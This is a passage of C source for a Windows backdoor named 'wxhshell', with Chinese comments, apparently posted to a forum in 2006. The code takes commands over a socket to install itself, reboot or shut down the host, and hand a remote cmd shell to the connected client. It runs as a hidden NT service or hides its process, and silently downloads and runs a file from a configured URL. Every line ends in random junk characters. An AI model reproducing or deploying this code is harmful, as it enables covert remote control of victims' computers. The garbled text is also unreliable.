      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u+9Mc u"  
    break; |]Xw1.S.L  
  } d~8Q)"6 [  
  // 安装 [I9d  
  case 'i': { }bVyvH  
    if(Install()) SZPu"O\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tv2dyC&a  
    else [Dhc9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uP$K{ )  
    break; b<8h\fR#'  
    } = 7?'S#  
  // 卸载 m8?(.BJ%  
  case 'r': { KK+Mxoj,  
    if(Uninstall()) 0-9&d(L1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s$en5)  
    else g`j%jQuY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I7P}=  
    break; d2Y5'A0X  
    } DF~w20+  
  // 显示 wxhshell 所在路径 NXx}KF c  
  case 'p': { +Il=gL1  
    char svExeFile[MAX_PATH]; (Gc5l MiX3  
    strcpy(svExeFile,"\n\r"); G\ofg  
      strcat(svExeFile,ExeFile); dw-r}Qioe  
        send(wsh,svExeFile,strlen(svExeFile),0); F8/@/B  
    break; `y\:3bQ4  
    } p d6d(  
  // 重启 ,-b9:]{L  
  case 'b': { R3~&|>7/T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (F)zj<{f  
    if(Boot(REBOOT)) ivm.ng[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9#2.5  
    else { t*x;{{jL#(  
    closesocket(wsh); [Y*UCFhI0  
    ExitThread(0); ubL Lhf  
    } .28*vkH%C=  
    break; o8,K1ic5#  
    } k"Is.[I?^  
  // 关机 !qR(Rn  
  case 'd': { 0KZ 3h|4lP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?tcbiXRG+  
    if(Boot(SHUTDOWN)) /sai}r 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sxqX R6p{  
    else { ,LW0{(&z  
    closesocket(wsh); -[F^~Gv|;  
    ExitThread(0); +a|4XyN  
    } 09"~<W8  
    break; _RmrjDk  
    } c"~TH.,d  
  // 获取shell W% P&o}'  
  case 's': { ^Ni)gm{?k  
    CmdShell(wsh); 1@y?OWC  
    closesocket(wsh); xQ[YQ!l  
    ExitThread(0); ~EN@$N^h  
    break; oGM.{\i  
  } #GF1MFkoS  
  // 退出 >M!>Hl/  
  case 'x': { W+#?3s[FV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @MM|.# ~T  
    CloseIt(wsh); z23KSPo  
    break; SXT/9FteZ  
    } N 8OPeY  
  // 离开 UY+~xzm  
  case 'q': { 8,R]R=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *w _j;  
    closesocket(wsh); _)|!.r&)63  
    WSACleanup(); 1/i|  
    exit(1); K.%E=^~q  
    break; :J"e{|g',  
        } OLi;/(g  
  } >}9TdP/oT  
  } uODsXi{z  
2PC4EjkC  
  // 提示信息 7+ysE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *~vRbD$q  
} #Kl;iY:n  
  } 8P*n|]B.'  
S HvML  
  return; zx!1jS  
} i{8=;  
[bcqaT  
// shell模块句柄 eQc!@*:8U  
int CmdShell(SOCKET sock) e nNn*.*|  
{ N*xgVj*  
STARTUPINFO si; ^;2L`U@5  
ZeroMemory(&si,sizeof(si)); }$o%^ "[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8(A:XQN"h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Go'87+`  
PROCESS_INFORMATION ProcessInfo; ,&k 5Qq  
char cmdline[]="cmd"; /L~*FQQK>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ne[O9D 7  
  return 0; Q.fBuF  
} " JRlj  
#?/.LMn{  
// 自身启动模式 $^l=#tV  
int StartFromService(void) &a0%7ea`.S  
{ F ^\v`l,  
typedef struct '%MIG88  
{ brFOQU?  
  DWORD ExitStatus; D|S)/o6  
  DWORD PebBaseAddress; 6R<%. -qr  
  DWORD AffinityMask; A +p}oY '  
  DWORD BasePriority; P8EGd}2{8  
  ULONG UniqueProcessId; mZ5UaSG  
  ULONG InheritedFromUniqueProcessId; *be+x RY  
}   PROCESS_BASIC_INFORMATION; ug{F?LW[  
)uaB^L1  
PROCNTQSIP NtQueryInformationProcess; ux }DWrR  
dlU=k9N-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T>z@;5C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 936t6K&  
gK>Vm9rO  
  HANDLE             hProcess; /x-t -}  
  PROCESS_BASIC_INFORMATION pbi; pif8/e  
8 jT"HZB6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LgaJp_d>9*  
  if(NULL == hInst ) return 0; Q-0[l/A}a  
c:iMbJOn#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v6r w.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <s:Xj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HP8pEo0Y  
vxgm0ZOMN  
  if (!NtQueryInformationProcess) return 0; ~\^8 ^  
r B)WHx<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7KEGTKfW  
  if(!hProcess) return 0; I2 Kb.`'!  
nMnc&8r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9xz`V1mIL  
OlK2<<  
  CloseHandle(hProcess); lojn8uL  
{kzM*!g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V^ :\/EU  
if(hProcess==NULL) return 0; H^s SHj  
\uaJw\EZ  
HMODULE hMod; lN&GfPP6  
char procName[255]; ff0B*0  
unsigned long cbNeeded; Fc]#\d6  
4rx|6NV6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l>]M^=,&7  
tY#^3ac  
  CloseHandle(hProcess); xq{4i|d)  
}_;nl n?t(  
if(strstr(procName,"services")) return 1; // 以服务启动 N.<hZ\].=  
r~;N(CG  
  return 0; // 注册表启动 cnsGP*w  
} =_86{wlk  
Xnh1pwDhe<  
// 主模块 w5;EnI  
int StartWxhshell(LPSTR lpCmdLine) @X#m]ou  
{ e`oc#Od&x]  
  SOCKET wsl; 3l^pY18H'  
BOOL val=TRUE; }lY-_y  
  int port=0; i!iODt3k  
  struct sockaddr_in door; -K !-a'J  
gXQ)\MY  
  if(wscfg.ws_autoins) Install(); v Zxy9Wmc  
ovohl<o\  
port=atoi(lpCmdLine); M]'AA Uo8  
XVfQscZe  
if(port<=0) port=wscfg.ws_port; WIghP5%W  
?/wloLS47  
  WSADATA data; W1s|7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g:EU\  
4D13K.h`O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1K`A.J:Uy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :o:??tqw  
  door.sin_family = AF_INET; /[s$A?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u"%fz8v  
  door.sin_port = htons(port); )\(pDn$W  
GyCpGP|AZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kr?| >6?  
closesocket(wsl); A3n"zxU  
return 1; -'(:Sq,4o  
} p5KNqqZZ  
U]acm\^Z  
  if(listen(wsl,2) == INVALID_SOCKET) { Z Kvh]  
closesocket(wsl); +M*a.ra0OF  
return 1; HL?pnT09  
} ,aJrN!fzU  
  Wxhshell(wsl); vEsSqzc  
  WSACleanup(); 2R!W5gs1<  
!8g y)2  
return 0; NO$Nl/XM  
#q- _  
} UXP;'  
-&? -  
// 以NT服务方式启动 /p>[$`Aq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -%.V0=G(Z  
{ eBB D9 SI  
DWORD   status = 0; mm8O  
  DWORD   specificError = 0xfffffff; { SfU!  
$W]bw#NH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iCS/~[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H]e 2d|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; riL!]'akV  
  serviceStatus.dwWin32ExitCode     = 0; |#wz)=mD  
  serviceStatus.dwServiceSpecificExitCode = 0; [xPE?OD  
  serviceStatus.dwCheckPoint       = 0; )N<!3yOz  
  serviceStatus.dwWaitHint       = 0; >U)O@W)  
J[l K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H/$q]i*#K  
  if (hServiceStatusHandle==0) return; *v+ fkg  
zYL^e @  
status = GetLastError(); 8'_Y=7b0Nw  
  if (status!=NO_ERROR) LPO" K"'w  
{ S\A[Z&k 0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s__g*%@B b  
    serviceStatus.dwCheckPoint       = 0; W}RR_Gu  
    serviceStatus.dwWaitHint       = 0; wLbngO=VG  
    serviceStatus.dwWin32ExitCode     = status; =Ug_1w  
    serviceStatus.dwServiceSpecificExitCode = specificError; .p`'^$X^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 SZR#L  
    return; : +Kesa:E  
  } 0h#M)Ft  
2e"}5b5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _HsvF[\[  
  serviceStatus.dwCheckPoint       = 0; sYpogFfV  
  serviceStatus.dwWaitHint       = 0; [w f12P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [78 .%b'  
} @Hh"Y1B  
B}X#oA  
// 处理NT服务事件,比如:启动、停止 4lCm(#T{,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Cf(y'w^  
{ bSLj-vp  
switch(fdwControl) |xm|Q(PG  
{ =&b[V"  
case SERVICE_CONTROL_STOP: #4M0%rN  
  serviceStatus.dwWin32ExitCode = 0; 639k&"V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V{{x~Q9  
  serviceStatus.dwCheckPoint   = 0; _3a 5/IZ  
  serviceStatus.dwWaitHint     = 0; $nn5;11@gY  
  { :(Bi {cw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Qrz|$_rv  
  } OB22P%  
  return; ?sYjFiE  
case SERVICE_CONTROL_PAUSE: ub5hX{uT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hea<!zPH  
  break; hT"K}d;X  
case SERVICE_CONTROL_CONTINUE: W<"\hQI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =L%3q<]p  
  break; [<QWTMjR  
case SERVICE_CONTROL_INTERROGATE: 'Aj>+H<B  
  break; m12 B:f  
}; wjOAgOC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S!_?# ^t  
} ]?{lQ0vw'w  
7`HUwu  
// 标准应用程序主函数 /&7Yi_]r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #LJ-IDuF!  
{ (N4(r<o;  
'OCo1|iK~  
// 获取操作系统版本 ->=++  
OsIsNt=GetOsVer(); M7,MxwZ0k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >N-%  
"6Uj:9  
  // 从命令行安装 i5Q<~;Z+  
  if(strpbrk(lpCmdLine,"iI")) Install(); zi .,?Q  
J_ |x^  
  // 下载执行文件 yan[{h]EZ  
if(wscfg.ws_downexe) { _#m qg]W'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bq-\'h f<  
  WinExec(wscfg.ws_filenam,SW_HIDE); :* b4/qpYv  
} :g[x;Q [@  
{LHe 6#  
if(!OsIsNt) { ~-wJ#E3g  
// 如果时win9x,隐藏进程并且设置为注册表启动 tL{~O=  
HideProc(); 0z7mre^Q  
StartWxhshell(lpCmdLine); _9|@nUD  
} G6{A[O[  
else RI3{>|*  
  if(StartFromService()) |wQZ~Ux:  
  // 以服务方式启动 ue<<Y"NR  
  StartServiceCtrlDispatcher(DispatchTable); P1stL,  
else F  t/ x 5  
  // 普通方式启动 a <TL&  
  StartWxhshell(lpCmdLine); )Cvzj<Q0  
X@U 1Ri  
return 0; :<k|u!b}y  
}
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只看该作者 1 发表于: 2006-10-10
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